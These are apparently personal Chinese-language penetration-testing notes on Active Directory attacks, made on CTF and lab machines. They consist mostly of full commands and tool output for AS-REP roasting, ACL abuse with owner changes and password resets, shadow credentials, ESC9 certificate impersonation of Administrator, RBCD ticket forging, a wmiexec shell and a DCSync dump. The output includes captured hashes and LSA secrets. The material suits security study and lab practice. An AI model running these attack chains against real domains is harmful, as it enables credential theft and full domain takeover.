ad攻击小记

比较乱,梦到哪句写哪句

不管干什么事,同步域控时间准没错。

AS-REP Roasting攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-GetNPUsers -usersfile users.txt -no-pass -dc-ip 10.129.231.186 certified.htb/
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User judith.mader doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User management_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ca_operator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User alexander.huges doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User harry.wilson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gregory.cameron doesn't have UF_DONT_REQUIRE_PREAUTH set

impacket-GetNPUsers -usersfile user -dc-ip 192.168.56.126 'SOUPEDECODE.LOCAL/charlie:charlie'

bloodhound-python收集域信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodhound-python -c All -u judith.mader -p judith09 -ns 10.129.231.186 -d certified.htb -dc dc01.certified.htb --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 00M 23S
INFO: Compressing output into 20260218072121_bloodhound.zip

nxc的bloodhound模块收集域信息

1
2
3
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc ldap 10.129.229.17 -u support -p '#00^BlackKnight' --bloodhound --collection All --dns-server 10.129.229.17

rusthound收集域信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
┌──(root㉿kaada)-[/home/…/Desktop/RustHound/target/release]
└─# ./rusthound --domain BLACKFIELD.local --ldapusername support --ldappassword '#00^BlackKnight'
---------------------------------------------------
Initializing RustHound at 02:45:19 on 06/22/26
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2026-06-22T02:45:19Z INFO rusthound] Verbosity level: Info
[2026-06-22T02:45:20Z INFO rusthound::ldap] Connected to BLACKFIELD.LOCAL Active Directory!
[2026-06-22T02:45:20Z INFO rusthound::ldap] Starting data collection...
[2026-06-22T02:45:22Z INFO rusthound::ldap] All data collected for NamingContext DC=BLACKFIELD,DC=local
[2026-06-22T02:45:22Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2026-06-22T02:45:22Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2026-06-22T02:45:22Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2026-06-22T02:45:22Z INFO rusthound::json::checker] Starting checker to replace some values...
[2026-06-22T02:45:22Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] 316 users parsed!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] .//20260622024522_blackfield-local_users.json created!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] 60 groups parsed!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] .//20260622024522_blackfield-local_groups.json created!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] 18 computers parsed!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] .//20260622024522_blackfield-local_computers.json created!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] 1 ous parsed!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] .//20260622024522_blackfield-local_ous.json created!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] 1 domains parsed!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] .//20260622024522_blackfield-local_domains.json created!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] 2 gpos parsed!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] .//20260622024522_blackfield-local_gpos.json created!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] 21 containers parsed!
[2026-06-22T02:45:22Z INFO rusthound::json::maker] .//20260622024522_blackfield-local_containers.json created!

RustHound Enumeration Completed at 02:45:22 on 06/22/26! Happy Graphing!


┌──(root㉿kaada)-[/home/…/Desktop/RustHound/target/release]
└─# ./rusthound --domain BLACKFIELD.local --ldapusername support --ldappassword '#00^BlackKnight' --zip
---------------------------------------------------
Initializing RustHound at 02:47:59 on 06/22/26
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2026-06-22T02:47:59Z INFO rusthound] Verbosity level: Info
[2026-06-22T02:47:59Z INFO rusthound::ldap] Connected to BLACKFIELD.LOCAL Active Directory!
[2026-06-22T02:47:59Z INFO rusthound::ldap] Starting data collection...
[2026-06-22T02:48:28Z INFO rusthound::ldap] All data collected for NamingContext DC=BLACKFIELD,DC=local
[2026-06-22T02:48:28Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2026-06-22T02:48:28Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2026-06-22T02:48:28Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2026-06-22T02:48:28Z INFO rusthound::json::checker] Starting checker to replace some values...
[2026-06-22T02:48:28Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2026-06-22T02:48:28Z INFO rusthound::json::maker] 316 users parsed!
[2026-06-22T02:48:28Z INFO rusthound::json::maker] 60 groups parsed!
[2026-06-22T02:48:28Z INFO rusthound::json::maker] 18 computers parsed!
[2026-06-22T02:48:28Z INFO rusthound::json::maker] 1 ous parsed!
[2026-06-22T02:48:28Z INFO rusthound::json::maker] 1 domains parsed!
[2026-06-22T02:48:28Z INFO rusthound::json::maker] 2 gpos parsed!
[2026-06-22T02:48:28Z INFO rusthound::json::maker] 21 containers parsed!
[2026-06-22T02:48:28Z INFO rusthound::json::maker] .//20260622024828_blackfield-local_rusthound.zip created!

RustHound Enumeration Completed at 02:48:28 on 06/22/26! Happy Graphing!


最直接、最自由的 Cypher 查询(生成太阳图)

在 BloodHound CE 界面的 Cypher 查询框(通常在界面顶部或侧边栏的 Explore 模块)中输入以下命令并回车:

1
MATCH (n)-[r]-(m) WHERE n.name =~ '(?i)YUXUAN@XIAORANG.LAB' RETURN n,r,m

语句原理解析:

  • MATCH (n)-[r]-(m):匹配任意节点 n 和任意节点 m 之间存在的任意方向的关系 r。注意这里连字符 - 之间没有箭头 < 或 >,代表不限制入站还是出站,全都要。
  • WHERE n.name =~ '(?i)YUXUAN@XIAORANG.LAB':指定中心节点 n 的名字必须是 YUXUAN((?i) 代表忽略大小写,防止你输入时大小写不匹配搜不到)。
  • RETURN n,r,m:把这三者(中心节点、关系、关联节点)全部画在图上。

成员对组拥有WriteOwner权限

先修改所有者,把组变成自己

1
2
3
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -d certified.htb -u 'judith.mader' -p 'judith09' --host 10.129.231.186 set owner MANAGEMENT 'judith.mader'
[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on MANAGEMENT

再将自己赋予完全控制权。

1
2
3
4
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -d certified.htb -u 'judith.mader' -p 'judith09' --host 10.129.231.186 add genericAll MANAGEMENT 'judith.mader'
[+] judith.mader has now GenericAll on MANAGEMENT

将自己加入该组。

1
2
3
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -d certified.htb -u 'judith.mader' -p 'judith09' --host 10.129.231.186 add groupMember MANAGEMENT 'judith.mader'
[+] judith.mader added to MANAGEMENT

成员(组)对组(成员)拥有GenericWrite权限

修改成员的密码

1
2
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -d certified.htb -u 'judith.mader' -p 'judith09' --host 10.129.231.186 set password MANAGEMENT_SVC 'Pwned12345!'

不过有时候会失败。

定向 AS-REP Roasting

对域控有GenericWrite权限(???实战中真有可能吗)

打RBCD

影子凭据攻击

在获取高权限用户后,通过给目标用户添加Shadow Credential(msDS-KeyCredentialLink属性),结合相关攻击工具获取到.pfx私钥证书文件,之后使用.pfx文件申请目标用户的TGT,进而得到其NTLM Hash。

在使用影子凭据之前记得先把时间和域控同步

1
2
3
4
5
┌──(root㉿kaada)-[/opt/get_dc_time]
└─# python3 get_dc_time.py -s 10.129.231.186
2026-02-19 03:49:36.000000
Local time set to: 2026-02-19 03:49:36

使用pywhisker

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kaada)-[/opt/pywhisker-1.0.0/pywhisker]
└─# python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add" --dc-ip 10.129.231.186 --use-ldaps
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 7ba66598-d473-200b-e335-73693201fe6a
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: oigNgAOY.pfx
[*] Must be used with password: F7ddKVbzqkaPtLgqVxFX
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

使用certipy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# certipy-ad shadow auto -u 'judith.mader@certified.htb' -p 'judith09' -account Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '91c77677-13a9-3225-4533-8a5ec50d7c90'
[*] Adding Key Credential with device ID '91c77677-13a9-3225-4533-8a5ec50d7c90' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '91c77677-13a9-3225-4533-8a5ec50d7c90' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

成员(组)对组(成员)拥有GenericALL权限

同GenericWrite,可尝试修改密码。(这里是用的哈希凭证修改,密码修改同理)

1
2
3
4
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -d certified.htb -u 'management_svc' -p 'aad3b435b51404eeaad3b435b51404ee:a091c1832bcdd4677c28b5a6a1295584' --host 10.129.231.186 set password CA_OPERATOR 'Pwned_CA_123!@#'
[+] Password changed successfully!

No Security Extension - ESC9

使用Certipy查找域相关证书信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# certipy-ad find -u judith.mader@certified.htb -p judith09 -dc-ip 10.129.231.186
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'
[*] Checking web enrollment for CA 'certified-DC01-CA' @ 'DC01.certified.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260219041503_Certipy.txt'
[*] Wrote text output to '20260219041503_Certipy.txt'
[*] Saving JSON output to '20260219041503_Certipy.json'
[*] Wrote JSON output to '20260219041503_Certipy.json'

存在NoSecurityExtension便可使用ESC9进行攻击

寻找漏洞证书模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : PublishToDs
AutoEnrollment
NoSecurityExtension
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-05-13T15:48:52+00:00
Template Last Modified : 2024-05-13T15:55:20+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Full Control Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Property Enroll : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

此漏洞的核心在于:对证书模板拥有注册权限的用户(如此处的 ca_operator)可以请求证书,并且由于模板配置不当(缺少必要的安全扩展,如 CT_FLAG_NO_SECURITY_EXTENSION 未设置),攻击者可以通过在证书请求中指定一个备用主体名 (SAN) 来冒充其他用户,例如域管理员。
————————————————
版权声明:本文为CSDN博主「人衣aoa」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_45203884/article/details/148122349

使用 Certipy 工具将 NT hash (a091c1832bcdd4677c28b5a6a1295584) 更新到 ca_operator 账户,并修改了该账户的 userPrincipalName (UPN) 为 Administrator

1
2
3
4
5
6
7
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'

请求到了一张代表管理员的证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# certipy-ad req -u ca_operator@certified.htb -p 'Pwned_CA_123!@#' -ca certified-DC01-CA -template CertifiedAuthentication -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: None
[+] DC IP: None
[+] DC Host: 'CERTIFIED.HTB'
[+] Target IP: None
[+] Remote Name: 'CERTIFIED.HTB'
[+] Domain: 'CERTIFIED.HTB'
[+] Username: 'CA_OPERATOR'
[+] Trying to resolve 'CERTIFIED.HTB' at '192.168.21.2'
[+] Resolved 'CERTIFIED.HTB' from cache: 10.129.231.186
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.231.186[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.231.186[\pipe\cert]
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[+] Attempting to write data to 'administrator.pfx'
[+] Data written to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

恢复ca的原始upn

1
2
3
4
5
6
7
8
9
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# certipy-ad account -username management_svc@certified -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip '10.129.231.186' -upn 'ca_operator@certified.htb' -user 'ca_operator' update

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

使用 Certipy 工具,通过 administrator.pfx 证书文件以 administrator@certified.htb 用户身份进行 Kerberos 认证,并成功获取 TGT 和 NT hash

记得要先对齐域控时间(kerbros的五分钟原则)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# sudo ntpdate 10.129.231.186
2026-02-18 15:30:20.560486 (-0500) -46560.448366 +/- 0.045121 10.129.231.186 s1 no-leap
CLOCK: time stepped by -46560.448366

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# certipy-ad -debug auth -pfx administrator.pfx -username administrator -domain certified.htb -dc-ip 10.129.231.186
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations
[+] Nameserver: '10.129.231.186'
[+] DC IP: '10.129.231.186'
[+] DC Host: ''
[+] Target IP: '10.129.231.186'
[+] Remote Name: '10.129.231.186'
[+] Domain: ''
[+] Username: 'ADMINISTRATOR'
[*] Certificate identities:
[*] SAN UPN: 'Administrator'
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC certified.htb (10.129.231.186)
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[+] Attempting to write data to 'administrator.ccache'
[+] Data written to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

lookupsid枚举域用户

匿名 LookupSID 枚举(Anonymous LookupSID Enumeration),也常被称为 RID 循环/劫持 (RID Cycling),是活动目录 (Active Directory) 渗透测试和 CTF 靶机中非常经典且高效的信息收集技术。

它的核心在于:攻击者在没有任何有效域凭证(即没有任何用户名和密码)的情况下,通过建立匿名连接(空会话),利用 Windows 系统的 RPC(远程过程调用)接口,暴力猜测并解析出域内所有的用户名和组名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-lookupsid anonymous@192.168.21.130
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Brute forcing SIDs at 192.168.21.130
[*] StringBinding ncacn_np:192.168.21.130[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3649830887-1815587496-1699028491
498: NOVICE\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: NOVICE\Administrator (SidTypeUser)
501: NOVICE\Guest (SidTypeUser)
502: NOVICE\krbtgt (SidTypeUser)
512: NOVICE\Domain Admins (SidTypeGroup)
513: NOVICE\Domain Users (SidTypeGroup)
514: NOVICE\Domain Guests (SidTypeGroup)
515: NOVICE\Domain Computers (SidTypeGroup)
516: NOVICE\Domain Controllers (SidTypeGroup)
517: NOVICE\Cert Publishers (SidTypeAlias)
518: NOVICE\Schema Admins (SidTypeGroup)
519: NOVICE\Enterprise Admins (SidTypeGroup)
520: NOVICE\Group Policy Creator Owners (SidTypeGroup)
521: NOVICE\Read-only Domain Controllers (SidTypeGroup)
522: NOVICE\Cloneable Domain Controllers (SidTypeGroup)
525: NOVICE\Protected Users (SidTypeGroup)
526: NOVICE\Key Admins (SidTypeGroup)
527: NOVICE\Enterprise Key Admins (SidTypeGroup)
553: NOVICE\RAS and IAS Servers (SidTypeAlias)
571: NOVICE\Allowed RODC Password Replication Group (SidTypeAlias)
572: NOVICE\Denied RODC Password Replication Group (SidTypeAlias)
1000: NOVICE\DC$ (SidTypeUser)
1101: NOVICE\DnsAdmins (SidTypeAlias)
1102: NOVICE\DnsUpdateProxy (SidTypeGroup)
1104: NOVICE\MrRobot (SidTypeUser)

RBCD(基于资源的约束委派)

第一步:创建机器账户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-addcomputer novice.com/MrRobot:mrroboto12 -dc-ip 192.168.21.130 -computer-name 'EVILPC$' -computer-pass 'EvilPass123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account EVILPC$ with password EvilPass123!.

哈希创建
???(root?kali)-[/home/kali]
??# impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.60.175 -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'ATTACK$' -computer-pass 'AttackerPC1!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account ATTACK$ with password AttackerPC1!.


第二步:实施滥用 (写入委派属性)

我们将域控的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性修改为刚刚创建的 EVILPC$。

“逼迫域控承认:EVILPC$ 有资格代表任何人来访问我。”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-rbcd -delegate-to 'DC$' -delegate-from 'EVILPC$' -dc-ip 192.168.21.130 -action 'write' 'novice.com/MrRobot:mrroboto12'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] EVILPC$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] EVILPC$ (S-1-5-21-3649830887-1815587496-1699028491-2101)

echo "192.168.60.175 RESOURCEDC.resourced.local RESOURCEDC resourced.local" >> /etc/hosts
???(root?kali)-[/home/kali]
??# impacket-rbcd -delegate-to 'RESOURCEDC$' -delegate-from 'ATTACK$' -dc-ip 192.168.60.175 -action 'write' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 'resourced.local/l.livingstone'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACK$ can now impersonate users on RESOURCEDC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACK$ (S-1-5-21-537427935-490066102-1511301751-4101)

第三步:伪造高权限票据 (S4U2Self & S4U2Proxy)

使用 EVILPC$ 的凭证,向域控申请一张伪造身份为 Administrator(或者任何高权限域管)的服务票据 (Service Ticket)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-getST -spn 'cifs/DC.novice.com' -impersonate Administrator -dc-ip 192.168.21.130 'novice.com/EVILPC$:EvilPass123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC.novice.com@NOVICE.COM.ccache


???(root?kali)-[/home/kali]
??# impacket-getST -spn 'cifs/RESOURCEDC.resourced.local' -impersonate Administrator -dc-ip 192.168.60.175 'resourced.local/ATTACK$:AttackerPC1!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RESOURCEDC.resourced.local@RESOURCED.LOCAL.ccache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ls
20260219050404_bloodhound.zip FScan_2.0.1_linux_x32 nc.exe rustscan sucrack
Administrator@cifs_DC.novice.com@NOVICE.COM.ccache

???(root?kali)-[/home/kali]
??# export KRB5CCNAME=Administrator@cifs_RESOURCEDC.resourced.local@RESOURCED.LOCAL.ccache

???(root?kali)-[/home/kali]
??# impacket-wmiexec -k -no-pass RESOURCEDC.resourced.local
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
resourced\administrator

C:\>type c:\users\administrator\desktop\proof.txt
8223c3c0c87c345e13140d976681760d

C:\>

第四步:导入票据与 DCSync

用刚刚生成的票据导入环境变量让后续的 Impacket 工具自动使用它进行 Kerberos 认证(不要使用密码)

1
2
3
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=Administrator@cifs_DC.novice.com@NOVICE.COM.ccache

执行DCsync攻击导出所有哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-secretsdump -k -no-pass DC.novice.com
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9aec2145c768b9975d683cbd0b2138e0
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NOVICE\DC$:plain_password_hex:6454fcd3651871f06169975c90882651d512f6bd88eb6513625ba8d99345d3de876754b3e3f9bf58cfc3add6cb05f8bea733d5f0df9f622ab68b3daacf1d255bc441b453050330aab4c548c86c0f9a3c5f537964ae483ac161bbe74145a1dffb6a1859df45b64b02c01bdae24fcb58be1ea2ded8eee4bf0014ee73f5fcd8c3faa0bcc080b4f5233286f4fce1cfffe878b5ee4f79f9215cdf59d0151a0e516894562914031807df1bfd9b9f3df285e3f7b570ecc67d187bc0d982b17ddd307a4288a74854c9916887abd47a42ba7c70b6aa0cde01f8dc240dd556b1f2e5e083ff85022153174300275556b609ee322a19
NOVICE\DC$:aad3b435b51404eeaad3b435b51404ee:59895085a4120299fc9fb7158c5b310d:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xdead8f737ed36bb82d5a6f44687f0d926e30b276
dpapi_userkey:0xddbacb41fc6cd581597fa5ab3862023b5109d8b5
[*] NL$KM
0000 48 E8 ED C0 9F C8 D4 BE 37 81 D7 2B D4 B1 87 C1 H.......7..+....
0010 3C A7 DA 68 3B CF 48 DF 9C 24 64 88 D4 83 8B F0 <..h;.H..$d.....
0020 CE CA F8 FB 07 C8 07 0A 4A 5A F6 AD 11 DB 87 28 ........JZ.....(
0030 B8 DD 0C E7 35 0E 1D 37 18 AA CA BD D6 C7 90 26 ....5..7.......&
